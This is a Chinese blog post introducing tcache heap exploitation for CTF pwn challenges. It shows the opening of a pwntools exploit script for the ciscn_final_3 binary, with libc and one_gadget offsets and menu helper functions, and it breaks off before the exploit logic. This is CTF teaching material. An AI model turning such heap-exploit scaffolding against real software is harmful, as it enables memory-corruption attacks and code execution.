pwn 堆入门之tcache

qingmu-z

于 2021-05-13 23:40:38 发布

阅读量630

点赞数

本文链接：https://blog.youkuaiyun.com/weixin_42689613/article/details/116771332

版权

本文深入探讨了pwn领域的堆利用技术，特别是针对tcache的使用进行详细解析，适合初学者入门。通过分析ciscn_final_3和ciscn_2019_es_1两个实例，阐述了tcache的工作原理及其在漏洞利用中的关键作用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

ciscn_final_3

#!/usr/bin/env python3
# coding=utf-8

from pwn import *

arch = "amd64"
filename = "ciscn_final_3"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)


# libc
libc=ELF("/home/giantbranch/Desktop/ctfpwn/clibcc/pwn-change-libc-main/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
ogg_libc=[0x4f2c5,0x4f322,0x10a38c]
def add(idx,size,payload):
    io.recvuntil("choice > ")
    io.sendline("1")
    io.recvuntil("input the index")
    io.sendline(str(idx))
    io.recvuntil("input the size")
    io.sendline(str(size))
    io.recvuntil("now you can write something")
    io.send(payload)

def free(idx):
    io.recvuntil("choice > ")
    io.sendline("2")
    io.recvuntil("input the index")
    io.sendline(str(idx))

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():</